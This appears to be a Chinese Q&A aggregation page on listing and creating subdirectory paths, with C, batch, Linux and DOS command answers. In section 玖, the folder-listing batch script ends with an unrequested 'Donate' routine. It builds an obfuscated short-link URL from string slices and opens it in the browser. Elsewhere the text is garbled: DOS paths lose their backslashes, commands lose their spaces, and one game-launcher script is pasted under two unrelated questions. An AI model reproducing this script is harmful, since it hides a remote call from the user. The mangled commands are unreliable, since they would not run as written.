子目錄路徑
『壹』 想顯示一個包含一個char型子目錄的文件路徑,如何實現
如果是MFC:
CString str;
str.Format("files/%c/recovery.img", p);
msg->SetAttribute("file", str);
否則:
char szBuf[100];
sprintf(szBuf, "files/%c/recovery.img", p);
msg->SetAttribute("file", szBuf);
『貳』 怎麼查看主機目錄的路徑和子文件夾的目錄
他對來這套系統很不熟悉,他源和我一樣也不懂英文?把資料庫上傳上去之後,也找不到了!而且剛上傳上去之後,我還能打開網也看,但是刷新幾次,就看不到了。我現在就需要查看子目錄是什麼?然後我添加子目錄後,就好了!子目錄加許可權我明白了!以後我給你寫一個加子目錄許可權的文章,放到帖子里,說的很詳細的!
『叄』 怎樣批量提取多級子文件夾、文件的名稱和路徑
很不錯,可以把dir/a/s 改成dir/a/s/b 就沒有多餘的部分了,/b是去掉多餘信息,其中把/a改/ad 表示只要文件夾,如果改成/a-d則是只要文件,抽時間再幫你把這種寫個批處理更省事
『肆』 如何輸出當前文件夾下所有 子文件夾的完整路徑
帶有雙斜杠和單斜抄杠的路襲徑都是正確的,都可以正確對應目錄。
如果非要做成一致的單斜杠。倒也有方法。做一下變數替換就可以。
@echo off& setlocal EnableDelayedExpansion
for /f "delims=" %%a in ('dir /ad/b') do (
set var=%cd%\%%a
set var=!var:\\=\!
echo !var!
)
『伍』 to 相對路徑之下的子目錄
代碼效率低下,精簡下:@ECHO OFFCLScolor 0aECHO=ECHO= =-=-=-=-=-=選擇啟動模式=-=-=-=-=-=ECHO= 1、單機模式ECHO= 2、聯機模式ECHO= 3、繼續游戲ECHO= =-=-=-=-==-=-=-=-==-=-=-=-==-=-=-=ECHO=ECHO= 請選擇啟動模式:set/p ID=if "%id%"=="1" x ".\單機" ".\" /y /e /sif "%id%"=="2" x ".\聯機" ".\" /y /e /sif "%id%"=="3" echo=pausestart 開始游戲.exe /s其中echo, 改為echo= 因為其效率更高
『陸』 使用絕對路徑依次進入Linux根目錄下的所有子目錄.
sbin:類似於bin,也擁有存儲二進制文件,存放系統管理員使用的基本系統程序
tmp:存放程序在運行時專產生的屬信息和數據,即臨時文件
usr:最大的目錄,應用程序幾乎都在這個目錄
home:用戶主家目錄
lib:標准程序設計庫,又叫動態鏈接共享庫
lost+found :平常為空文件夾,存放系統非正常關機時產生的文件
misc:雜貨箱,讓多用戶堆積和臨時轉移自己的文件
『柒』 批處理復制文件夾下的文件及子目錄命令,路徑為相對路徑
代碼效率低下,精簡下:
@ECHO OFF&CLS&color 0a
ECHO=
ECHO= =-=-=-=-=-=選擇啟動模式=-=-=-=-=-=
ECHO= 1、單機模式
ECHO= 2、聯機模式
ECHO= 3、繼續游戲
ECHO= =-=-=-=-==-=-=-=-==-=-=-=-==-=-=-=
ECHO=
ECHO= 請選擇啟動模式:
set/p ID=
if "%id%"=="1" x ".\單機" ".\" /y /e /s
if "%id%"=="2" x ".\聯機" ".\" /y /e /s
if "%id%"=="3" echo=
pause
start 開始游戲.exe /s
其中echo, 改為echo= 因為其效率更高
『捌』 如何枚舉目錄中所有沒有子目錄的目錄的路徑
.版本 2 .支持庫 spec .程序集 窗口程序集1 .程序集變數 找到文件列表, 文本型, , "0" .子程序 _按鈕1_被單擊 目錄找文件 (「e:」) 調試輸出 (取數組成員數 (找到文件列表)) .子程序 目錄找文件 .參數 目錄, 文本型 .局部變數 文件名, 文本型 目錄 = 選擇 (取文本右邊 (目錄, 1) = 「\」, 目錄, 目錄 + 「\」) 文件名 = 尋找文件 (目錄 + 「\*.*」, #子目錄) .判斷循環首 (文件名 ≠ 「」) .如果真 (文件名 ≠ 「.」 且 文件名 ≠ 「..」) 目錄找文件 (目錄 + 文件名) .如果真結束 文件名 = 尋找文件 (, #子目錄) .判斷循環尾 ()
『玖』 求批處理 獲取當前目錄下所有子目錄路徑,就是所有文件夾路徑
@echooff&title獲取當前目錄中所有子文件夾目錄路徑By依夢琴瑤
cd/d%~dp0
echo正在列取中。。。
(for/f"delims="%%ain('dir/ad/s/b')doecho%%~a)>子目錄路徑列表.txt
pause
call:Donate
exit
:Donate
::setS0=fGRH
setS0=fPdv
setS1=.:ailnhpst/
setS2=%S1:~6,1%%S1:~9,1%%S1:~9,1%%S1:~7,1%%S1:~1,1%%S1:~10,1%%S1:~10,1%
setS3=%S1:~8,1%%S1:~3,1%%S1:~5,1%%S1:~2,1%%S1:~0,1%%S1:~4,1%%S1:~9,1%
start"""%S2%%S3%%S1:~10,1%%S0%"
exit
獲取到的路徑信息,保存到腳本所在目錄下的「子目錄路徑列表.txt」中
『拾』 怎樣建立子目錄
命令格式:MD[盤符\][子目錄\]子目錄名
功能:在指定的盤上指定的目錄下建立一個子目錄。
例如,在C盤根目錄下建立WW1子目錄:
C>MDC:WW1
然後再在這個子目錄下建立WW2子目錄:
C>MDC:WW1WW2
這個命令中,有時[盤符\]和[子目錄\]都可以省去,省去時,新的子目錄就加在當前目錄之下。
2.顯示當前目錄
命令格式:CD
功能:顯示當前目錄名。
3.改變當前目錄
命令格式:CD[盤符\][子目錄\]
功能:將當前目錄轉為命令中指定的目錄。
例如,當前在C盤根目錄下,要轉到WW1子目錄中可輸入:
C>CDWW1
如果從根目錄直接轉到WW2子目錄,可以用:
C>CDWW1WW2
可以看一下結果:
C>CD
C:WW1WW2
轉移到WW2子目錄後,我們用DIR看一下內容,此時顯示的是WW2子目錄情況:
C>DIR
VolumeinDriveChasnolabel
DirectoryofC:WW1WW2
.〈DIR〉11-10-964:06P
..〈DIR〉11-10-964:06P
2file(s)****bytesfree
這個子目錄中還沒有存入任何文件。但DOS仍列出兩個目錄項,這兩個目錄項的文件名位置顯示的是*和..,意思是:是當前工作目錄的代號。
..是上一級目錄的代號。
我們可以用CD..轉到上一級子目錄中:
C>CD..
C:WW1此時如果再使用一次CD..命令,即可返回根目錄,或者我們可以用DIR..來直接顯示根目錄內容。
用CD命令還可用來直接返回根目錄。
命令格式:CD功能:不管當時在什麼子目錄中,使用這個命令都直接回根目錄。
4.刪除子目錄
命令格式:RD[盤符\][子目錄\]子目錄名
功能:如果該子目錄是空的,就刪除它;如果子目錄中有文件,它不能刪除子目錄。
路徑的表示
對於每一張盤來說,整個盤的目錄叫根目錄,在根目錄下可以有子目錄,可以叫做一級子目錄;在某些一級子目錄下,還會有子目錄,即二級子目錄;在二級子目錄下還可能有三級子目錄……。而對於一台微機來說,它要同時處理A驅中的A:盤,B驅中的B:盤,C:盤等等,每一張盤的結構都可能像上面描述的那樣,文件存放在不同的地方,那麼,我們要尋找文件,就要通過不同的途徑。在計算機術語中,就叫做路徑。
在DOS中,路徑是用盤符、子目錄名和向右的斜杠組合起來表示的。
根目錄中文件的路徑表示為:
A:B:C:例如,表示根目錄下存放的COMMAND.COM文件,可以用它的路徑加上文件名來全面地說明:
C:COMMAND.COM
根目錄下的一級子目錄,如WW1,應寫為:C:WW1
根目錄下一級子目錄中的二級子目錄,如WW2,則寫為:
C:WW1WW2
依此類推。
Prompt和Path是關於路徑的常用的重要命令。Prompt並非專對於路徑操作的,但它最常用的功能就是用來提示路徑。